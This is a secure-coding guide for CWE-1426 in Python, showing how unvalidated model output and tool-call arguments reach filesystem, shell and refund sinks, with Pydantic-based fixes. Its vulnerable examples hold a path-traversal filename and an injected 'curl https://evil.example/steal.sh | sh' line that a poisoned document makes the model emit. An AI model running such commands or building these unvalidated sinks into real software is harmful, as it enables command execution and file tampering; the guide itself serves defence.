CWE-1426: Improper Validation of Generative AI Output - Python

Overview

In Python applications built on the Anthropic SDK (anthropic), the OpenAI SDK, or a framework like LangChain/LangGraph, this weakness usually appears as a model's text response or a tool call's arguments being passed to eval()/exec(), subprocess with shell=True, an f-string SQL query, open(), or a Jinja2 template marked |safe without the validation that sink would require for user input. The fix is the same validation already applied to any other untrusted input: constrain the response shape with structured outputs, and re-validate and re-authorize every tool-call argument in the handler itself.

Common Vulnerable Patterns

Unvalidated Tool-Call Argument Reaching the Filesystem

def handle_tool_call(tool_use):
    if tool_use.name == "write_report":
        # VULNERABLE - filename comes from the model's tool call and is
        # used directly; a manipulated model can request any path
        output_path = os.path.join(OUTPUT_DIR, tool_use.input["filename"])
        with open(output_path, "w") as f:
            f.write(tool_use.input["content"])

# Attack: tool_use.input["filename"] = "../../../etc/cron.d/malicious"
# Result: file written outside the intended output directory

Why this is vulnerable: Treating tool_use.input as pre-validated because the model produced it skips the same path-containment check a filename from an HTTP request would need.

Free-Text Parsing Feeding a Sensitive Operation

response = client.messages.create(
    model="claude-opus-5",
    max_tokens=1024,
    messages=[{"role": "user", "content": f"Summarize this refund request as JSON: {request_text}"}],
)

# VULNERABLE - regex-extracted "JSON" is trusted without schema or range checks
text = next(b.text for b in response.content if b.type == "text")
match = re.search(r"\{.*\}", text, re.DOTALL)
refund = json.loads(match.group(0))
process_refund(refund["order_id"], refund["amount_cents"])  # no validation before use

Why this is vulnerable: Free-text parsing has no guarantee the extracted value matches the expected shape, and even when it does, nothing here checks that amount_cents is a plausible, in-range value before it is used.

Model Output Reaching a Shell

filename = next(b.text for b in response.content if b.type == "text").strip()
# VULNERABLE - model-suggested filename passed to a shell
subprocess.run(f"convert {filename} output.png", shell=True)

# Attack: a poisoned document the model processed causes it to output
# "img.png; curl https://evil.example/steal.sh | sh"
# Result: arbitrary command execution

Why this is vulnerable: A model's text output can contain attacker-controlled content if the source material it processed was attacker-influenced - this is the same command-injection sink as any other unvalidated input, with the model as an intermediate step.

Secure Patterns

Structured Output With Pydantic Validation

from pydantic import BaseModel, Field

class RefundRequest(BaseModel):
    order_id: str
    amount_cents: int = Field(gt=0)

# SECURE - structured output constrains the response shape
response = client.messages.parse(
    model="claude-opus-5",
    max_tokens=1024,
    messages=[{"role": "user", "content": f"Summarize the refund request as JSON: {request_text}"}],
    output_format=RefundRequest,
)
refund = response.parsed_output

# SECURE - still range-check the parsed value against business rules
order = get_order(refund.order_id)
if refund.amount_cents > order.total_cents:
    raise ValueError("Refund amount exceeds order total")
process_refund(refund.order_id, refund.amount_cents)

Why this works: output_format=RefundRequest sends the Pydantic model's schema with the request so generation is constrained to it, and messages.parse() validates what comes back before handing it over - so the application never has to parse free text with regex. Note where each guarantee comes from: the API constrains types, required fields and enums, but numeric and length constraints (Field(gt=0), min_length, max_length) are not part of the schema it enforces - the SDK strips those before sending and applies them client-side when it parses. The schema check is not the full fix either way, because it settles shape and not business validity, so the code still range-checks amount_cents against the actual order total before acting on it, exactly as it would for a value from an HTTP request body.

Tool-Call Arguments Re-Validated and Re-Authorized in the Handler

import os
from pydantic import BaseModel, Field, ValidationError

class WriteReportArgs(BaseModel):
    filename: str = Field(min_length=1, max_length=255)
    content: str = Field(max_length=1_000_000)

def handle_tool_call(tool_use, authenticated_user_id: str) -> dict:
    if tool_use.name != "write_report":
        raise ValueError(f"Unknown tool: {tool_use.name}")

    # SECURE - re-validate the tool call's declared arguments; do not
    # trust that the model's JSON already matches the schema it was given
    try:
        args = WriteReportArgs.model_validate(tool_use.input)
    except ValidationError:
        return {"type": "tool_result", "tool_use_id": tool_use.id, "content": "Invalid arguments", "is_error": True}

    # SECURE - filenames from tool input are attacker-controlled. Reject one
    # carrying any path component rather than silently rewriting it:
    # basename() alone turns "../../etc/passwd" into "passwd" and writes that
    # without complaint, which neutralizes the traversal but quietly stores a
    # different file than the one the call asked for
    safe_name = os.path.basename(args.filename)
    if not safe_name or safe_name in (".", "..") or safe_name != args.filename:
        return {"type": "tool_result", "tool_use_id": tool_use.id, "content": "Invalid filename", "is_error": True}
    output_path = os.path.join(OUTPUT_DIR, safe_name)
    if not os.path.abspath(output_path).startswith(os.path.abspath(OUTPUT_DIR) + os.sep):
        return {"type": "tool_result", "tool_use_id": tool_use.id, "content": "Path escapes output directory", "is_error": True}

    # SECURE - authorization checked against the real caller, not a field
    # the model could have included in its own tool call
    if not user_can_write_reports(authenticated_user_id):
        return {"type": "tool_result", "tool_use_id": tool_use.id, "content": "Not authorized", "is_error": True}

    with open(output_path, "w") as f:
        f.write(args.content)
    return {"type": "tool_result", "tool_use_id": tool_use.id, "content": "Report written"}

Why this works: The handler re-parses tool_use.input through the same Pydantic model an HTTP endpoint would use, refuses any filename that is not already a bare basename - so a traversal payload is rejected outright rather than quietly rewritten into a different file - and authorizes against authenticated_user_id from the real session rather than anything the model supplied. Even a fully manipulated tool call cannot bypass any of these three independent checks.

The containment check is a backstop, not the load-bearing control: once the filename must equal its own basename, it cannot fail. Keep it anyway, because it is what still holds the guarantee if that rule is later relaxed to permit subdirectories - and a lexical check like this one proves the name is under OUTPUT_DIR, not the file, so a directory that may contain symlinks needs os.path.realpath() on both sides instead.

Avoiding Shell Interpretation of Model Output

# SECURE - argument list, not a shell string; no shell metacharacter risk
safe_filename = os.path.basename(filename)
# SECURE - resolve against a fixed directory so the value arrives as a path
# and not as an option: basename() leaves a leading "-" untouched, and convert
# would read a bare "-write" or "-size" as a flag rather than as a filename
input_path = os.path.join(INPUT_DIR, safe_filename)
subprocess.run(["convert", input_path, "output.png"], shell=False, check=True)

Why this works: Passing an argument list with shell=False means the operating system executes convert directly with literal arguments - there is no shell parsing step for injected metacharacters (;, |, `, $()) to exploit, regardless of what the model-derived filename contains.

The argument list closes the metacharacter half and not the other half, which is why the join matters: an element beginning with - is passed through untouched and the invoked program reads it as an option. os.path.basename("-write") returns -write unchanged, so basename alone would hand convert a flag. Prefixing a fixed base directory makes the first character a path separator instead, which is the fix that holds whether or not the program honours --. This is CWE-88 (Argument Injection), and it applies to any model-derived value reaching a subprocess argument list.

Framework-Specific Guidance

LangChain / LangGraph Structured Output

from langchain_anthropic import ChatAnthropic
from pydantic import BaseModel, Field

class RefundRequest(BaseModel):
    order_id: str
    amount_cents: int = Field(gt=0)

model = ChatAnthropic(model="claude-opus-5").with_structured_output(RefundRequest)

# SECURE - LangChain validates the response against the Pydantic model
# before returning it; still apply business-rule validation on the result
refund = model.invoke(f"Summarize the refund request as JSON: {request_text}")
if refund.amount_cents > order.total_cents:
    raise ValueError("Refund amount exceeds order total")

with_structured_output() is not the same mechanism as the Anthropic SDK's output_format. On langchain-anthropic 1.6.1 it defaults to method="function_calling" - a forced tool call, parsed and validated against the Pydantic model on the client - and only reaches the structured-outputs API when called as with_structured_output(RefundRequest, method="json_schema"). Either way what downstream receives has passed shape validation; what differs is where that validation happened, so a value that fails it surfaces as a client-side parse error rather than as a constrained generation. And a LangGraph tool node executing a mutating action still needs its own authorization check, independent of the graph's control flow, exactly as shown above.

Testing

• Normal inputs: valid refund JSON, ordinary filenames, plain-text summaries - confirm the feature still works end to end.
• Boundary inputs: a filename at the length limit, an amount equal to the order total, an empty tool result.
• Malicious/mocked model output: a tool call input["filename"] of ../../etc/passwd, an amount_cents far outside the order total, and a response that fails to validate against the Pydantic model.
• Confirm each malicious case is rejected by the validation layer itself (Pydantic ValidationError, the basename-equality check, authorization check) rather than by the model declining to produce it - mock the model's response directly in tests (unittest.mock or a fixture) so the test does not depend on model behavior being deterministic. Note which check answers: the traversal filename is refused by the basename comparison, not by the containment check, which cannot fail once that comparison is in place.
• If a scanner flagged the original finding, re-scan after the fix to confirm it no longer fires.

Common Pitfalls

• Validating shape but not values: Confirming the model's response matches a Pydantic model, then using the fields without a business-rule check - a schema guarantees amount_cents is a positive integer, not that it is a legitimate amount for this order.
• Trusting tool_use.input because a JSON Schema was declared in the tool definition: A plain input_schema tells the model what to produce and enforces nothing. Adding strict: True to the tool definition does change that - the API then guarantees input validates against the schema - but it constrains shape only, so a schema-valid filename of ../../etc/passwd arrives exactly as before. Worth turning on; not a reason to skip the handler's own validation of the values it receives.
• Authorizing from a field inside tool_use.input: Checking input["user_id"] instead of the session's authenticated user - anything inside input is model output, and therefore attacker-influenceable.
• Using shell=True for convenience: Building a command string with an f-string and shell=True because it was faster to write - this reopens the exact command-injection sink structured validation was meant to close.

Dependencies and Installation

• pydantic>=2 for schema-constrained generation (via output_format) and tool-argument validation. Some version of it is already present, because anthropic depends on it outright - but its floor is >=1.9.0 (the openai package's is >=1.10.13), so a project can legitimately resolve to 1.x, where the examples above do not run: model_validate() does not exist in v1, and its lax coercion accepts an integer for a str field. Pin the major version rather than relying on what the SDK happens to pull in. Pydantic's own position is that "active development of V1 has already stopped", with critical bug and security fixes continuing until V3 - so v1 is stalled rather than unsupported, and v2 is the one to write new code against.
• langchain-anthropic if using LangChain's with_structured_output().
• Keep the anthropic (or openai) SDK current; structured-output APIs have changed shape across major versions.

Additional Resources

• CWE-1426 Official Definition
• Anthropic - Structured Outputs
• OWASP Top 10 for LLM Applications - LLM05 Improper Output Handling
• Pydantic Documentation